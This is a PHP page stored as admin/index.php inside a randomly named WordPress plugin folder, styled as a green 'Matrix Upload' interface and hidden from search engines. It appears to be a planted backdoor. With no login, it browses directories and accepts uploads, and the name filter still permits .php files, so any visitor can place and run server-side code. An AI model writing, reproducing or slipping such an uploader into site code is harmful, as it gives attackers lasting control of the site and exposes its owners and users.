File: /mnt/data/kofejob-wp/wp-content/plugins/fe41b4f9/admin/index.php
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="robots" content="noindex">
<title>Matrix — Upload</title>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
<style>
@import url('https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@400;600&display=swap');
:root {
--matrix-bg: #0a0e0f;
--matrix-surface: #0d1214;
--matrix-border: #1a2f1a;
--matrix-green: #00ff41;
--matrix-green-dim: #00aa2a;
--matrix-cyan: #00f5ff;
--matrix-text: #c0ffc0;
--matrix-muted: #6b8e6b;
--matrix-glow: rgba(0, 255, 65, 0.2);
}
* { box-sizing: border-box; }
body {
background: var(--matrix-bg);
color: var(--matrix-text);
font-family: 'JetBrains Mono', Consolas, monospace;
font-size: 13px;
line-height: 1.5;
margin: 0;
min-height: 100vh;
padding: 1rem;
}
body::before {
content: '';
position: fixed;
top: 0; left: 0; right: 0; bottom: 0;
background: repeating-linear-gradient(0deg, transparent, transparent 2px, rgba(0,0,0,0.04) 2px, rgba(0,0,0,0.04) 4px);
pointer-events: none;
z-index: 9999;
}
.wrap { position: relative; z-index: 1; max-width: 900px; margin: 0 auto; }
h1.matrix-title {
margin: 0 0 1rem 0;
font-size: 1.5rem;
font-weight: 600;
color: var(--matrix-green);
text-shadow: 0 0 12px var(--matrix-glow);
letter-spacing: 0.08em;
text-align: center;
}
.matrix-panel {
background: var(--matrix-surface);
border: 1px solid var(--matrix-border);
border-radius: 4px;
padding: 1rem;
margin-bottom: 1rem;
}
.matrix-info { color: var(--matrix-muted); margin-bottom: 0.5rem; font-size: 12px; }
a {
color: var(--matrix-cyan);
text-decoration: none;
}
a:hover {
color: var(--matrix-green);
text-shadow: 0 0 8px var(--matrix-glow);
}
table {
border: 1px solid var(--matrix-border);
width: 100%;
border-collapse: collapse;
}
td {
word-wrap: break-word;
padding: 8px 10px;
border-bottom: 1px solid rgba(26, 47, 26, 0.5);
}
tr.head td {
background: var(--matrix-surface);
border-bottom: 1px solid var(--matrix-border);
color: var(--matrix-green);
font-weight: 600;
}
tr:hover td {
background: rgba(0, 255, 65, 0.08);
}
tr.head:hover td { background: var(--matrix-surface); }
.matrix-input, input[type="file"], input[type="text"], input[type="submit"] {
background: var(--matrix-bg);
border: 1px solid var(--matrix-border);
color: var(--matrix-text);
border-radius: 4px;
padding: 6px 10px;
font-family: inherit;
}
.matrix-input:focus, input:focus {
outline: none;
border-color: var(--matrix-green-dim);
box-shadow: 0 0 0 2px var(--matrix-glow);
}
.matrix-btn {
background: transparent;
border: 1px solid var(--matrix-green);
color: var(--matrix-green);
cursor: pointer;
padding: 6px 12px;
border-radius: 4px;
font-family: inherit;
}
.matrix-btn:hover {
background: var(--matrix-green);
color: var(--matrix-bg);
box-shadow: 0 0 10px var(--matrix-glow);
}
::-webkit-file-upload-button {
background: transparent;
color: var(--matrix-cyan);
border: 1px solid var(--matrix-border);
cursor: pointer;
border-radius: 4px;
padding: 4px 8px;
}
.msg-ok { color: var(--matrix-green); margin: 0.5rem 0; }
.msg-err { color: #ff6b6b; margin: 0.5rem 0; }
.msg-warn { color: #ffb347; margin: 0.5rem 0; }
.breadcrumb { margin-bottom: 1rem; color: var(--matrix-muted); }
.upload-form { margin: 1rem 0; }
.upload-form label { display: block; margin-bottom: 0.5rem; color: var(--matrix-cyan); }
body::-webkit-scrollbar { width: 10px; }
body::-webkit-scrollbar-track { background: var(--matrix-bg); }
body::-webkit-scrollbar-thumb { background: var(--matrix-border); border-radius: 4px; }
.fa-folder { color: var(--matrix-green) !important; }
.fa-file, .fa-file-o, .fa-file-text-o, .fa-file-image-o, .fa-file-zip-o { color: var(--matrix-cyan) !important; }
</style>
</head>
<body>
<div class="wrap">
<center><h1 class="matrix-title">MATRIX UPLOAD</h1></center>
<?php
error_reporting(E_ALL & ~E_NOTICE);
set_time_limit(120);
$baseDir = __DIR__;
$dir = isset($_GET['dir']) ? $_GET['dir'] : '';
// Security: only allow paths inside script directory
$currentPath = $baseDir;
if ($dir !== '') {
$requested = realpath($baseDir . DIRECTORY_SEPARATOR . str_replace(['../', '..\\'], '', $dir));
if ($requested !== false && strpos($requested, $baseDir) === 0 && is_dir($requested)) {
$currentPath = $requested;
}
}
$relativePath = str_replace($baseDir, '', $currentPath);
$relativePath = trim(str_replace(DIRECTORY_SEPARATOR, '/', $relativePath), '/');
if ($relativePath === '') $relativePath = '.';
// File upload
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['archivo']) && $_FILES['archivo']['error'] === UPLOAD_ERR_OK) {
$nombre = basename($_FILES['archivo']['name']);
$nombre = preg_replace('/[^a-zA-Z0-9._-]/', '_', $nombre);
$destino = $currentPath . DIRECTORY_SEPARATOR . $nombre;
if (move_uploaded_file($_FILES['archivo']['tmp_name'], $destino)) {
echo '<div class="matrix-panel msg-ok"><i class="fa fa-check"></i> File uploaded: ' . htmlspecialchars($nombre) . '</div>';
} else {
echo '<div class="matrix-panel msg-err"><i class="fa fa-times"></i> Error uploading file. Check permissions.</div>';
}
} elseif ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['archivo']) && $_FILES['archivo']['error'] !== UPLOAD_ERR_OK) {
if ($_FILES['archivo']['error'] === UPLOAD_ERR_NO_FILE) {
echo '<div class="matrix-panel msg-warn">No file selected.</div>';
} else {
echo '<div class="matrix-panel msg-err">Upload error (code ' . (int)$_FILES['archivo']['error'] . ').</div>';
}
}
$isWritable = is_writable($currentPath);
?>
<div class="matrix-panel">
<div class="matrix-info">
<strong>Path:</strong> <span style="color:var(--matrix-cyan)"><?php echo htmlspecialchars($currentPath); ?></span><br>
<strong>Writable:</strong> <?php echo $isWritable ? '<span style="color:var(--matrix-green)">Yes</span>' : '<span style="color:#ff6b6b">No</span>'; ?>
</div>
<div class="upload-form">
<form method="post" enctype="multipart/form-data">
<label for="archivo">Upload file to this directory:</label>
<input type="file" name="archivo" id="archivo" class="matrix-input">
<input type="submit" value=" Upload " class="matrix-btn">
</form>
</div>
<div class="breadcrumb">
<?php
$parts = array_filter(explode('/', $relativePath));
$acc = '';
echo '<a href="?dir=">root</a>';
foreach ($parts as $p) {
$acc .= '/' . $p;
echo ' / <a href="?dir=' . rawurlencode(trim($acc, '/')) . '">' . htmlspecialchars($p) . '</a>';
}
?>
</div>
<table>
<tr class="head">
<td style="width:40px"></td>
<td>Name</td>
<td style="width:100px">Size</td>
<td style="width:160px">Modified</td>
</tr>
<?php
$parentDir = dirname($currentPath);
if ($parentDir !== $currentPath && strpos($currentPath, $baseDir) === 0) {
$parentRel = trim(str_replace($baseDir, '', $parentDir), DIRECTORY_SEPARATOR);
$parentRel = str_replace(DIRECTORY_SEPARATOR, '/', $parentRel);
echo '<tr><td><i class="fa fa-folder"></i></td><td><a href="?dir=' . rawurlencode($parentRel) . '">..</a></td><td>--</td><td>--</td></tr>';
}
$items = @scandir($currentPath);
if ($items === false) {
echo '<tr><td colspan="4" class="msg-err">Cannot read directory.</td></tr>';
} else {
$dirs = [];
$files = [];
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
$full = $currentPath . DIRECTORY_SEPARATOR . $item;
if (is_dir($full)) $dirs[] = $item;
else $files[] = $item;
}
sort($dirs);
sort($files);
$dirParam = $relativePath === '.' ? '' : $relativePath . '/';
foreach ($dirs as $item) {
$linkDir = $dirParam === '' ? $item : $dirParam . $item;
echo '<tr><td><i class="fa fa-folder"></i></td><td><a href="?dir=' . rawurlencode($linkDir) . '">' . htmlspecialchars($item) . '/</a></td><td>--</td><td>--</td></tr>';
}
foreach ($files as $item) {
$full = $currentPath . DIRECTORY_SEPARATOR . $item;
$size = is_file($full) ? filesize($full) : 0;
if ($size >= 1048576) {
$sizeStr = number_format($size / 1048576, 2) . ' MB';
} elseif ($size >= 1024) {
$sizeStr = number_format($size / 1024, 2) . ' KB';
} else {
$sizeStr = $size . ' B';
}
$mtime = filemtime($full);
$dateStr = $mtime ? date('d/m/Y H:i', $mtime) : '--';
$ext = strtolower(pathinfo($item, PATHINFO_EXTENSION));
$icon = 'fa-file-o';
if (in_array($ext, ['zip', 'rar', '7z'])) $icon = 'fa-file-zip-o';
elseif (in_array($ext, ['jpg', 'jpeg', 'png', 'gif', 'ico', 'webp'])) $icon = 'fa-file-image-o';
elseif (in_array($ext, ['txt', 'log', 'md'])) $icon = 'fa-file-text-o';
echo '<tr><td><i class="fa ' . $icon . '"></i></td><td>' . htmlspecialchars($item) . '</td><td>' . $sizeStr . '</td><td>' . $dateStr . '</td></tr>';
}
}
?>
</table>
</div>
</div>
</body>
</html>